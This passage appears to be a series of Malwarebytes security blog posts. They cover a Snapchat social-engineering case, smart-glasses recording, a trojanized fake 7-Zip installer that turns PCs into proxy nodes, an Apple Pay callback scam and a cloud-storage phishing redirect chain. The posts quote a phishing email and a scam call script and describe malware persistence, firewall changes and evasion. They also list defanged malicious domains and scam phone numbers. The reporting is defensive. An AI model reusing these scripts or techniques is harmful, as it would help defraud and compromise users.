To be fair, there are signs that some providers are starting to respond by blocking specific phishing campaigns after disclosure or by adding limited brand-protection controls. But these are often reactive fixes applied after the damage is done.
Meanwhile, attackers can move to open‑source clones or lightly modified forks of the same tools hosted elsewhere, where there may be no meaningful content moderation at all.
In practice, the net effect is that AI companies benefit from the growth and experimentation that comes with permissive tooling, while the consequences is left to victims and defenders.
We have blocked the domain in our web protection module and requested a domain and vendor takedown.
How to stay safe
End users cannot fix misaligned AI incentives, but they can make life harder for brand impersonators. Even when a cloned website looks convincing, there are red flags to watch for:
Before completing any payment, always review the “Pay to” details or transaction summary. If no merchant is named, back out and treat the site as suspicious.
Do not follow links posted in comments, on social media, or unsolicited emails to buy a product. Always follow a verified and trusted method to reach the vendor.
If you come across a fake Malwarebytes website, please let us know.
We don’t just report on threats—we help safeguard your entire digital identity
Fresh off a breathless Super Bowl Sunday, we’re less thrilled to bring you this week’s Weirdo Wednesday. Two stories caught our eye, both involving men who crossed clear lines and invaded women’s privacy online.
Last week, 27-year-old Kyle Svara of Oswego, Illinois admitted to hacking women’s Snapchat accounts across the US. Between May 2020 and February 2021, Svara harvested account security codes from 571 victims, leading to confirmed unauthorized access to at least 59 accounts.
Rather than attempting to break Snapchat’s robust encryption protocols, Svara targeted the account owners themselves with social engineering.
After gathering phone numbers and email addresses, he triggered Snapchat’s legitimate login process, which sent six-digit security codes directly to victims’ devices. Posing as Snapchat support, he then sent more than 4,500 anonymous messages via a VoIP texting service, claiming the codes were needed to “verify” or “secure” the account.
Svara showed particular interest in Snapchat’s My Eyes Only feature—a secondary four-digit PIN meant to protect a user’s most sensitive content. By persuading victims to share both codes, he bypassed two layers of security without touching a single line of code. He walked away with private material, including nude images.
Svara didn’t do this solely for his own kicks. He marketed himself as a hacker-for-hire, advertising on platforms like Reddit and offering access to specific accounts in exchange for money or trades.
Selling his services to others was how he got found out. Although Svara stopped hacking in early 2021, his legal day of reckoning followed the 2024 sentencing of one of his customers: Steve Waithe, a former track and field coach who worked at several high-profile universities including Northeastern. Waithe paid Svara to target student athletes he was supposed to mentor.
Svara also went after women in his home area of Plainfield, Illinois, and as far away as Colby College in Maine.
He now faces charges including identity theft, wire fraud, computer fraud, and making false statements to law enforcement about child sex abuse material. Sentencing is scheduled for May 18.
How to protect your Snapchat account
Never send someone your login details or secret codes, even if you think you know them.
Passkeys let you sign in without a password, but unlike multi-factor authentication, passkeys are cryptographically tied to your device, and can’t be phished or forwarded like one-time codes. Snapchat supports them, and they offer stronger protection than traditional multi-factor authentication, which is increasingly susceptible to smart phishing attacks.
Bad guys with smart glasses
Unfortunately, hacking women’s social media accounts to steal private content isn’t new. But predators will always find a way to use smart tech in nefarious ways. Such is the case with new generations of ‘smart glasses’ powered by AI.
This week, CNN published stories from women who believed they were having private, flirtatious interactions with strangers—only to later discover the men were recording them using camera-equipped smart glasses and posting the footage online.
These clips are often packaged as “rizz” videos—short for “charisma”—where so-called manfluencers film themselves chatting up women in public, without consent, to build followings and sell “coaching” services.
The glasses, sold by companies like Meta, are supposed to be used for recording only with consent, and often display a light to show that they’re recording. In practice, that indicator is easy to hide.
When combined with AI-powered services to identify people, as researchers did in 2024, the possibilities become even more chilling. We’re unaware of any related cases coming to court, but suspect it’s only a matter of time.
We don’t just report on scams—we help detect them
Cybersecurity risks should never spread beyond a headline. If something looks dodgy to you, check if it’s a scam using Malwarebytes Scam Guard, a feature of our mobile protection products. Submit a screenshot, paste suspicious content, or share a text or phone number, and we’ll tell you if it’s a scam or legit. Download Malwarebytes Mobile Security for iOS or Android and try it today!
A convincing lookalike of the popular 7-Zip archiver site has been serving a trojanized installer that silently converts victims’ machines into residential proxy nodes—and it has been hiding in plain sight for some time.
“I’m so sick to my stomach”
A PC builder recently turned to Reddit’s r/pcmasterrace community in a panic after realizing they had downloaded 7‑Zip from the wrong website. Following a YouTube tutorial for a new build, they were instructed to download 7‑Zip from 7zip[.]com, unaware that the legitimate project is hosted exclusively at 7-zip.org.
In their Reddit post, the user described installing the file first on a laptop and later transferring it via USB to a newly built desktop. They encountered repeated 32‑bit versus 64‑bit errors and ultimately abandoned the installer in favor of Windows’ built‑in extraction tools. Nearly two weeks later, Microsoft Defender alerted on the system with a generic detection: Trojan:Win32/Malgent!MSR.
The experience illustrates how a seemingly minor domain mix-up can result in long-lived, unauthorized use of a system when attackers successfully masquerade as trusted software distributors.
A trojanized installer masquerading as legitimate software
This is not a simple case of a malicious download hosted on a random site. The operators behind 7zip[.]com distributed a trojanized installer via a lookalike domain, delivering a functional copy of functional 7‑Zip File Manager alongside a concealed malware payload.
The installer is Authenticode‑signed using a now‑revoked certificate issued to Jozeal Network Technology Co., Limited, lending it superficial legitimacy. During installation, a modified build of 7zfm.exe is deployed and functions as expected, reducing user suspicion. In parallel, three additional components are silently dropped:
Uphero.exe—a service manager and update loader
hero.exe—the primary proxy payload (Go‑compiled)
hero.dll—a supporting library
All components are written to C:\Windows\SysWOW64\hero\, a privileged directory that is unlikely to be manually inspected.
An independent update channel was also observed at update.7zip[.]com/version/win-service/1.0.0.2/Uphero.exe.zip, indicating that the malware payload can be updated independently of the installer itself.
Abuse of trusted distribution channels
One of the more concerning aspects of this campaign is its reliance on third‑party trust. The Reddit case highlights YouTube tutorials as an inadvertent malware distribution vector, where creators incorrectly reference 7zip.com instead of the legitimate domain.
This shows how attackers can exploit small errors in otherwise benign content ecosystems to funnel victims toward malicious infrastructure at scale.
Execution flow: from installer to persistent proxy service
Behavioral analysis shows a rapid and methodical infection chain:
1. File deployment—The payload is installed into SysWOW64, requiring elevated privileges and signaling intent for deep system integration.
2. Persistence via Windows services—Both Uphero.exe and hero.exe are registered as auto‑start Windows services running under System privileges, ensuring execution on every boot.
3. Firewall rule manipulation—The malware invokes netsh to remove existing rules and create new inbound and outbound allow rules for its binaries. This is intended to reduce interference with network traffic and support seamless payload updates.
4. Host profiling—Using WMI and native Windows APIs, the malware enumerates system characteristics including hardware identifiers, memory size, CPU count, disk attributes, and network configuration. The malware communicates with iplogger[.]org via a dedicated reporting endpoint, suggesting it collects and reports device or network metadata as part of its proxy infrastructure.
Functional goal: residential proxy monetization
While initial indicators suggested backdoor‑style capabilities, further analysis revealed that the malware’s primary function is proxyware. The infected host is enrolled as a residential proxy node, allowing third parties to route traffic through the victim’s IP address.
The hero.exe component retrieves configuration data from rotating “smshero”‑themed command‑and‑control domains, then establishes outbound proxy connections on non‑standard ports such as 1000 and 1002. Traffic analysis shows a lightweight XOR‑encoded protocol (key 0x70) used to obscure control messages.
This infrastructure is consistent with known residential proxy services, where access to real consumer IP addresses is sold for fraud, scraping, ad abuse, or anonymity laundering.
Shared tooling across multiple fake installers
The 7‑Zip impersonation appears to be part of a broader operation. Related binaries have been identified under names such as upHola.exe, upTiktok, upWhatsapp, and upWire, all sharing identical tactics, techniques, and procedures:
Deployment to SysWOW64
Windows service persistence
Firewall rule manipulation via netsh
Encrypted HTTPS C2 traffic
Embedded strings referencing VPN and proxy brands suggest a unified backend supporting multiple distribution fronts.
Rotating infrastructure and encrypted transport
Memory analysis uncovered a large pool of hardcoded command-and-control domains using hero and smshero naming conventions. Active resolution during sandbox execution showed traffic routed through Cloudflare infrastructure with TLS‑encrypted HTTPS sessions.
The malware also uses DNS-over-HTTPS via Google’s resolver, reducing visibility for traditional DNS monitoring and complicating network-based detection.
Evasion and anti‑analysis features
The malware incorporates multiple layers of sandbox and analysis evasion:
Virtual machine detection targeting VMware, VirtualBox, QEMU, and Parallels
Anti‑debugging checks and suspicious debugger DLL loading
Runtime API resolution and PEB inspection
Process enumeration, registry probing, and environment inspection
Cryptographic support is extensive, including AES, RC4, Camellia, Chaskey, XOR encoding, and Base64, suggesting encrypted configuration handling and traffic protection.
Defensive guidance
Any system that has executed installers from 7zip.com should be considered compromised. While this malware establishes SYSTEM‑level persistence and modifies firewall rules, reputable security software can effectively detect and remove the malicious components. Malwarebytes is capable of fully eradicating known variants of this threat and reversing its persistence mechanisms. In high‑risk or heavily used systems, some users may still choose a full OS reinstall for absolute assurance, but it is not strictly required in all cases.
Users and defenders should:
Verify software sources and bookmark official project domains
Treat unexpected code‑signing identities with skepticism
Monitor for unauthorized Windows services and firewall rule changes
Block known C2 domains and proxy endpoints at the network perimeter
Researcher attribution and community analysis
This investigation would not have been possible without the work of independent security researchers who went deeper than surface-level indicators and identified the true purpose of this malware family.
Luke Acha provided the first comprehensive analysis showing that the Uphero/hero malware functions as residential proxyware rather than a traditional backdoor. His work documented the proxy protocol, traffic patterns, and monetization model, and connected this campaign to a broader operation he dubbed upStage Proxy. Luke’s full write-up is available on his blog.
s1dhy expanded on this analysis by reversing and decoding the custom XOR-based communication protocol, validating the proxy behavior through packet captures, and correlating multiple proxy endpoints across victim geolocations. Technical notes and findings were shared publicly on X (Twitter).
Additional technical validation and dynamic analysis were published by researchers at RaichuLab on Qiita and WizSafe Security on IIJ.
Their collective work highlights the importance of open, community-driven research in uncovering long-running abuse campaigns that rely on trust and misdirection rather than exploits.
Closing thoughts
This campaign demonstrates how effective brand impersonation combined with technically competent malware can operate undetected for extended periods. By abusing user trust rather than exploiting software vulnerabilities, attackers bypass many traditional security assumptions—turning everyday utility downloads into long‑lived monetization infrastructure.
Malwarebytes detects and blocks known variants of this proxyware family and its associated infrastructure.
It started with an email that looked boringly familiar: Apple logo, a clean layout, and a subject line designed to make the target’s stomach drop.
The message claimed Apple has stopped a high‑value Apple Pay charge at an Apple Store, complete with a case ID, timestamp, and a warning that the account could be at risk if the target doesn’t respond.
In some cases, there was even an “appointment” booked on their behalf to “review fraudulent activity,” plus a phone number they should call immediately if the time didn’t work. Nothing in the email screams amateur. The display name appears to be Apple, the formatting closely matches real receipts, and the language hits all the right anxiety buttons.
The email warns recipients not to Apple Pay until they’ve spoken to “Apple Billing & Fraud Prevention,” and it provides a phone number to call.
After dialing the number, an agent introduces himself as part of Apple’s fraud department and asks for details such as Apple ID verification codes or payment information.
The conversation is carefully scripted to establish trust. The agent explains that criminals attempted to use Apple Pay in a physical Apple Store and that the system “partially blocked” the transaction. To “fully secure” the account, he says, some details need to be verified.
The call starts with harmless‑sounding checks: your name, the last four digits of your phone number, what Apple devices you own, and so on.
Next comes a request to confirm the Apple ID email address. While the victim is looking it up, a real-looking Apple ID verification code arrives by text message.
The agent asks for this code, claiming it’s needed to confirm they’re speaking to the rightful account owner. In reality, the scammer is logging into the account in real time and using the code to bypass two-factor authentication.
Once the account is “confirmed,” the agent walks the victim through checking their bank and Apple Pay cards. They ask questions about bank accounts and suggest “temporarily securing” payment methods so criminals can’t exploit them while the “Apple team” investigates.
The entire support process is designed to steal login codes and payment data. At scale, campaigns like this work because Apple’s brand carries enormous trust, Apple Pay involves real money, and users have been trained to treat fraud alerts as urgent and to cooperate with “support” when they’re scared.
One example submitted to Malwarebytes Scam Guard showed an email claiming an Apple Gift Card purchase for $279.99 and urging the recipient to call a support number (1-812-955-6285).
Another user submitted a screenshot showing a fake “Invoice Receipt – Paid” styled to look like an Apple Store receipt for a 2025 MacBook Air 13-inch laptop with M4 chip priced at $1,157.07 and a phone number (1-805-476-8382) to call about this “unauthorized transaction.”
What you should know
Apple doesn’t set up fraud appointments through email. The company also doesn’t ask users to fix billing problems by calling numbers in unsolicited messages.
Closely inspect the sender’s address. In these cases, the email doesn’t come from an official Apple domain, even if the display name makes it seem legitimate.
Never share two-factor authentication (2FA) codes, SMS codes, or passwords with anyone, even if they claim to be from Apple.
Ignore unsolicited messages urging you to take immediate action. Always think and verify before you engage. Talk to someone you trust if you’re not sure.
Malwarebytes Scam Guard helped several users identify this type of scam. For those without a subscription, you can use Scam Guard in ChatGPT.
If you’ve already engaged with these Apple Pay scammers, it is important to:
Change the Apple ID password immediately from Settings or appleid.apple.com, not from any link provided by email or SMS.
Check active sessions, sign out of all devices, then sign back in only on devices you recognize and control.
Rotate your Apple ID password again if you see any new login alerts, and confirm 2FA is still enabled. If not, turn it on.
In Wallet, check every card for unfamiliar Apple Pay transactions and recent in-store or online charges. Monitor bank and credit card statements closely for the next few weeks and dispute any unknown transactions immediately.
Check if the primary email account tied to your Apple ID is yours, since control of that email can be used to take over accounts.
We don’t just report on scams—we help detect them
Cybersecurity risks should never spread beyond a headline. If something looks dodgy to you, check if it’s a scam using Malwarebytes Scam Guard, a feature of our mobile protection products. Submit a screenshot, paste suspicious content, or share a text or phone number, and we’ll tell you if it’s a scam or legit. Download Malwarebytes Mobile Security for iOS or Android and try it today!
Imagine our surprise when we ended up on a site promoting that same Freecash app while investigating a “cloud storage” phish. We’ve all probably seen one of those. They’re common enough and according to recent investigation by BleepingComputer, there’s a
“large-scale cloud storage subscription scam campaign targeting users worldwide with repeated emails falsely warning recipients that their photos, files, and accounts are about to be blocked or deleted due to an alleged payment failure.”
Based on the description in that article, the email we found appears to be part of this campaign.
The subject line of the email is:
“{Recipient}. Your Cloud Account has been locked on Sat, 24 Jan 2026 09:57:55 -0500. Your photos and videos will be removed!”
This matches one of the subject lines that BleepingComputer listed.
And the content of the email:
“Payment Issue – Cloud Storage
Dear User,
We encountered an issue while attempting to renew your Cloud Storage subscription.
Unfortunately, your payment method has expired. To ensure your Cloud continues without interruption, please update your payment details.
Subscription ID: 9371188
Product: Cloud Storage Premium
Expiration Date: Sat,24 Jan-2026
If you do not update your payment information, you may lose access to your Cloud Storage, which may prevent you from saving and syncing your data such as photos, videos, and documents.
Update Payment Details {link button}
Security Recommendations:
Always access your account through our official website
Never share your password with anyone
Ensure your contact and billing information are up to date”
The link in the email leads to https://storage.googleapis[.]com/qzsdqdqsd/dsfsdxc.html#/redirect.html, which helps the scammer establish a certain amount of trust because it points to Google Cloud Storage (GCS). GCS is a legitimate service that allows authorized users to store and manage data such as files, images, and videos in buckets. However, as in this case, attackers can abuse it for phishing.
The redirect carries some parameters to the next website.
The feed.headquartoonjpn[.]com domain was blocked by Malwarebytes. We’ve seen it before in an earlier campaign involving an Endurance-themed phish.
After a few more redirects, we ended up at hx5.submitloading[.]com, where a fake CAPTCHA triggered the last redirect to freecash[.]com, once it was solved.
The end goal of this phish likely depends on the parameters passed along during the redirects, so results may vary.
Rather than stealing credentials directly, the campaign appears designed to monetize traffic, funneling victims into affiliate offers where the operators get paid for sign-ups or conversions.
BleepingComputer noted that they were redirected to affiliate marketing websites for various products.
“Products promoted in this phishing campaign include VPN services, little-known security software, and other subscription-based offerings with no connection to cloud storage.”
How to stay safe
Ironically, the phishing email itself includes some solid advice:
Always access your account through our official website.
Never share your password with anyone.
We’d like to add:
Never click on links in unsolicited emails without verifying with a trusted source.
Do not engage with websites that attract visitors like this.
Pro tip: Malwarebytes Scam Guard would have helped you identify this email as a scam and provided advice on how to proceed.
Redirect flow (IOCs)
storage.googleapis[.]com/qzsdqdqsd/dsfsdxc.html
feed.headquartoonjpn[.]com
revivejudgemental[.]com
hx5.submitloading[.]com
freecash[.]com
Update February 5, 2026
Almedia GmbH, the company behind the Freecash platform, reached out to us for information about the chain of redirects that lead to their platform. And after an investigation they notified us that:
“Following Malwarebytes’ reporting and the additional information they shared with us, we investigated the issue and identified an affiliate operating in breach of our policies. That partner has been removed from our network.
Almedia does not sell user data, and we take compliance, user trust, and responsible advertising seriously.”
We don’t just report on scams—we help detect them
Cybersecurity risks should never spread beyond a headline. If something looks dodgy to you, check if it’s a scam using Malwarebytes Scam Guard, a feature of our mobile protection products. Submit a screenshot, paste suspicious content, or share a text or phone number, and we’ll tell you if it’s a scam or legit. Download Malwarebytes Mobile Security for iOS or Android and try it today!
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